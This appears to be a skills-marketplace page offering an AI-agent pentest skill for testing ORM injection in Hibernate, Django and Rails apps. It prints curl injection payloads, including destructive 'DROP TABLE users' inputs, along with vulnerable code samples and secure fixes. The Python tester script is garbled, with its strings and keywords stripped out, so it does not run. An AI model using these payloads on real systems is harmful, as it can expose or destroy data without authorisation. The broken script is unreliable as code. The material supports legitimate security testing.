Menú
De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.
Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Un comando directo omite el prompt de revisión. Revisa el origen antes de ejecutarlo.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-7El comando permanece en una sola línea. Desplázate horizontalmente para revisarlo antes de copiarlo.
¿Prefieres una copia local? Descarga los archivos que SkillsMP tiene disponibles ahora.
Basado en la clasificación ocupacional SOC
Mostrando SKILL.md
| name | wstg-inpv-05.7 |
| description | Testing for ORM Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-05.7 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-05.7
Testing for ORM Injection
ORM (Object-Relational Mapping) Injection occurs when attackers exploit vulnerabilities in ORM frameworks (Hibernate, SQLAlchemy, ActiveRecord, Entity Framework) by manipulating query parameters or HQL/JPQL/LINQ queries. Even though ORMs provide abstraction, improper use can still lead to injection vulnerabilities.
#!/bin/bash
TARGET="https://target.com"
# Test common ORM injection patterns
echo "[*] Testing for ORM injection..."
# HQL/JPQL style injection
curl -s "$TARGET/users?filter=' OR '1'='1"
curl -s "$TARGET/users?sort=name; DROP TABLE users--"
# Django ORM injection
curl -s "$TARGET/api/users?ordering=;DROP TABLE users--"
# Ruby/Rails ActiveRecord
curl -s "$TARGET/users?order=name);--"
#!/usr/bin/env python3
"""
ORM Injection Vulnerability Tester
Tests for Hibernate, Django, SQLAlchemy, ActiveRecord injection
"""
import requests
import re
class ORMInjectionTester:
():
.url = url
.findings = []
.session = requests.Session()
ORM_ERRORS = {
: [
,
,
,
,
,
],
: [
,
,
,
],
: [
,
,
,
,
],
: [
,
,
,
],
: [
,
,
,
],
: [
,
,
,
],
}
PAYLOADS = {
: [
,
,
,
,
,
,
],
: [
,
,
,
,
,
],
: [
{: },
{: },
{: },
],
}
():
()
payload .PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
orm, patterns .ORM_ERRORS.items():
pattern patterns:
re.search(pattern, response.text, re.IGNORECASE):
()
()
.findings.append({
: ,
: payload,
:
})
response.status_code == :
()
Exception e:
():
()
filter_params = [, , , , , ]
param filter_params:
payload .PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
orm, patterns .ORM_ERRORS.items():
pattern patterns:
re.search(pattern, response.text, re.IGNORECASE):
()
()
.findings.append({
: ,
: param,
: payload,
:
})
Exception e:
():
()
lookups = [
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
]
field, value lookups:
:
response = .session.get(.url, params={field: value})
response.status_code == (response.text) > :
()
Exception e:
():
()
raw_payloads = [
,
,
,
]
payload raw_payloads:
:
response = .session.get(.url, params={: payload})
re.search(, response.text, re.IGNORECASE):
()
Exception e:
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
f:
()
():
.test_hql_injection()
.test_filter_injection()
.test_django_orm()
.test_raw_sql_in_orm()
.generate_report()
tester = ORMInjectionTester()
tester.run_tests()
// Hibernate HQL Injection
// Vulnerable code:
String hql = "FROM User WHERE username = '" + username + "'";
Query query = session.createQuery(hql);
// Injection payloads:
' OR '1'='1
' OR ''='
admin' AND substring(password,1,1)='a' AND ''='
admin' AND (SELECT COUNT(*) FROM User)>0 AND ''='
# Django ORM Injection
# Vulnerable code (using extra() or raw()):
User.objects.extra(where=["username='%s'" % username])
# Injection via filter kwargs:
# ?filter={"id__gt": 0}
# QuerySet injection:
User.objects.filter(**user_controlled_dict)
# Rails ActiveRecord Injection
# Vulnerable code:
User.where("name = '#{params[:name]}'")
User.order(params[:sort])
# Injection payloads:
name='; DROP TABLE users;--
sort=name DESC; SELECT * FROM users;--
| Tool | Purpose |
|---|---|
| Burp Suite | Parameter fuzzing |
| SQLMap | Some ORM injection detection |
| Custom scripts | ORM-specific testing |
# Django - Use parameterized queries
# VULNERABLE
User.objects.extra(where=["name='%s'" % name])
# SECURE - Use parameter binding
User.objects.extra(where=["name=%s"], params=[name])
# SECURE - Use ORM filter properly
User.objects.filter(name=name)
# SECURE - Whitelist allowed fields for ordering
ALLOWED_SORT_FIELDS = ['name', 'created_at', 'id']
sort_field = request.GET.get('sort', 'id')
if sort_field.lstrip('-') in ALLOWED_SORT_FIELDS:
queryset = queryset.order_by(sort_field)
// Hibernate - Use named parameters
// VULNERABLE
String hql = "FROM User WHERE name = '" + name + "'";
// SECURE - Named parameters
String hql = "FROM User WHERE name = :name";
Query query = session.createQuery(hql);
query.setParameter("name", name);
// SECURE - Criteria API
CriteriaBuilder cb = session.getCriteriaBuilder();
CriteriaQuery<User> cq = cb.createQuery(User.class);
Root<User> root = cq.from(User.class);
cq.select(root).where(cb.equal(root.get("name"), name));
| Finding | CVSS | Severity |
|---|---|---|
| HQL/JPQL Injection | 8.6 | High |
| Filter/Order Injection | 7.5 | High |
| Raw SQL in ORM | 9.8 | Critical |
| CWE ID | Title |
|---|---|
| CWE-89 | SQL Injection |
| CWE-943 | Improper Neutralization in Data Query Logic |
[ ] ORM framework identified
[ ] HQL/JPQL injection tested
[ ] Filter parameters tested
[ ] Order/Sort parameters tested
[ ] Raw SQL detection tested
[ ] Framework-specific payloads used
[ ] Findings documented